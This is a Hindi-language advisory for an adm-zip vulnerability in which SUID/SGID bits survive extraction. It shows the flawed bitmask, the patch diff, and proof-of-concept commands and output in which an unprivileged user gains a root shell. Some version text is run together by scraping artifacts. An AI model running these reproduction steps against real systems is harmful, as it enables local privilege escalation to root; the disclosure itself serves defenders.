
CVE-2026-102282: आर्काइव निष्कर्षण के दौरान SUID/SGID संरक्षण के माध्यम से स्थानीय विशेषाधिकार वृद्धि
adm-zip Node.js के लिए एक स्थापित, शुद्ध-JavaScript ZIP संग्रह लाइब्रेरी है, जिसके npm पारिस्थितिकी तंत्र में प्रति सप्ताह 20 मिलियन से अधिक डाउनलोड हैं। यह संग्रह संपीड़न और निष्कर्षण को संभालने के लिए CI/CD पाइपलाइनों, कंटेनर बिल्ड वर्कफ़्लो, क्लाउड परिनियोजन टूल और सर्वर-साइड अनुप्रयोगों में व्यापक रूप से एकीकृत है।
निष्कर्षण के दौरान, adm-zip एक keepOriginalPermission कॉन्फ़िगरेशन विकल्प का समर्थन करता है जिसका उद्देश्य संग्रह में दर्ज POSIX अनुमतियों को पुनर्स्थापित करना है। हालाँकि, लाइब्रेरी विशेष विशेषाधिकार-वहन करने वाले Unix फ़ाइल मोड बिट्स को फ़िल्टर करने में विफल रही: SUID (S_ISUID, 0o4000), SGID (S_ISGID, 0o2000), और स्टिकी बिट (S_ISVTX, 0o1000)।
जब कोई अनुप्रयोग उन्नत विशेषाधिकारों के साथ चलते हुए (जैसे कि रूट-स्तरीय CI रनर, Docker कंटेनर एंट्रीपॉइंट, या बैकएंड टास्क डेमॉन) keepOriginalPermission = true के साथ किसी अविश्वसनीय ZIP संग्रह को निकालता है, तो adm-zip fs.chmodSync() के माध्यम से हमलावर-निर्दिष्ट SUID/SGID बिट्स को डिस्क पर लागू करता है। यह होस्ट फ़ाइलसिस्टम पर एक रूट-स्वामित्व वाली SUID निष्पादन योग्य फ़ाइल बनाता है, जिससे एक गैर-विशेषाधिकार प्राप्त स्थानीय उपयोगकर्ता बाइनरी को निष्पादित कर सकता है और तत्काल रूट विशेषाधिकार प्राप्त कर सकता है।
adm-zip >= 0.5.10, <= 0.6.0adm-zip >= 0.6.1PKWARE ZIP प्रारूप विनिर्देश में, Unix फ़ाइल अनुमतियाँ Central Directory Header (बाइट्स 38-41) के 32-बिट external file attributes फ़ील्ड में संग्रहीत की जाती हैं। Unix-संगत संग्रहों पर, ऊपरी 16 बिट्स फ़ाइल प्रकार और 12-बिट POSIX अनुमति मोड (0o7777) को एन्कोड करते हैं।
संस्करण <= 0.6.0 में, headers/entryHeader.js ने 12-बिट बिटमास्क (0xfff) का उपयोग किया:
// headers/entryHeader.js
get fileAttr() {
return (_attr || 0) >> 16 & 0xfff;
}
बिटमास्क 0xfff (बाइनरी 1111 1111 1111) संपूर्ण निचले 12 बिट्स को निकालता है, जो न केवल मानक पढ़ने/लिखने/निष्पादित करने की अनुमतियाँ (0o777) संरक्षित करता है, बल्कि विशेष अनुमति बिट्स 0o4000 (SUID), 0o2000 (SGID), और 0o1000 (Sticky) भी संरक्षित करता है।
संस्करण 0.6.1 में, मास्क को 0o777 (511 दशमलव) तक सीमित कर दिया गया, जिससे सभी विशेष विशेषाधिकार बिट्स हटा दिए गए:
get fileAttr() {
- return (_attr || 0) >> 16 & 0xfff;
+ return (_attr || 0) >> 16 & 0o777;
}
यह समस्या तब उत्पन्न होती है जब निष्कर्षण के दौरान keepOriginalPermission सक्षम होता है:
// adm-zip.js
const fileAttr = keepOriginalPermission ? entry.header.fileAttr : undefined;
filetools.writeToFile(entryName, content, overwrite, fileAttr);
util/utils.js में, निकाले गए एट्रिब्यूट को बिना किसी सत्यापन के सीधे फ़ाइलसिस्टम को पास किया गया:
// util/utils.js
self.fs.chmodSync(path, attr || 0o666);
जब निष्कर्षण प्रक्रिया nosuid के बिना माउंट किए गए फ़ाइलसिस्टम पर root (euid 0) के रूप में चलती है, तो fs.chmodSync() निकाली गई फ़ाइल की अनुमतियों को root:root के स्वामित्व वाले मोड 0o4755 (-rwsr-xr-x) पर सेट करता है।
[email protected])संग्रह निर्माण और विशेषाधिकार प्राप्त निष्कर्षण:
$ g++ -O2 Verify.cpp -o Verify
$ node BuildZip.js Verify exploit.zip tools/helper
Generated: exploit.zip -> tools/helper (mode 0o104755)
$ sudo node Extract.js exploit.zip /var/local/poc_out
Extracted exploit.zip into /var/local/poc_out
$ stat -c "%a %A %U:%G" /var/local/poc_out/tools/helper
4755 -rwsr-xr-x root:root
एक गैर-विशेषाधिकार प्राप्त स्थानीय उपयोगकर्ता (uid=1000) द्वारा निष्पादन:
$ id
uid=1000(user) gid=1000(user) groups=1000(user)
$ /var/local/poc_out/tools/helper
[*] Real UID: 1000, Effective UID: 0
[+] SUID preserved. Escalating to root.
# id
uid=0(root) gid=0(root) groups=0(root)
[email protected])$ sudo node Extract.js exploit.zip /var/local/poc_out_patched
Extracted exploit.zip into /var/local/poc_out_patched
$ stat -c "%a %A %U:%G" /var/local/poc_out_patched/tools/helper
755 -rwxr-xr-x root:root
$ /var/local/poc_out_patched/tools/helper
[*] Real UID: 1000, Effective UID: 1000
[-] Normal execution context (unprivileged).
जब अविश्वसनीय ZIP फ़ाइलों को उन्नत विशेषाधिकारों के साथ संसाधित किया जाता है—जैसे कि स्वचालित बिल्ड एजेंट, साझा होस्टिंग वातावरण, सर्वरलेस कंटेनर आरंभीकरण दिनचर्या, और प्लगइन इंस्टॉलेशन फ्रेमवर्क—तो एक गैर-विशेषाधिकार प्राप्त उपयोगकर्ता एक तैयार किया गया संग्रह प्रदान कर सकता है ताकि एक मनमाना रूट-स्वामित्व वाली SUID बाइनरी स्थापित की जा सके, जिससे स्थानीय विशेषाधिकार वृद्धि (LPE) और root के रूप में मनमाना कोड निष्पादन हो सकता है।
git clone https://github.com/x86byte/adm-zip_LPE-PoC.git
cd adm-zip_LPE-PoC/adm-zip_lpe
g++ -O2 Verify.cpp -o Verify
node BuildZip.js Verify exploit.zip tools/helper
adm-zip संस्करण का उपयोग करके root के रूप में निकालें:npm install [email protected]
sudo node Extract.js exploit.zip /var/tmp/poc_out
stat -c "%a %A %U:%G" /var/tmp/poc_out/tools/helper
# Output: 4755 -rwsr-xr-x root:root
/var/tmp/poc_out/tools/helper
नोट: लक्ष्य निष्कर्षण निर्देशिका nosuid के बिना माउंट किए गए फ़ाइलसिस्टम पर स्थित होनी चाहिए।
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N - बेस स्कोर 7.1)0.6.1 में पैच किया गया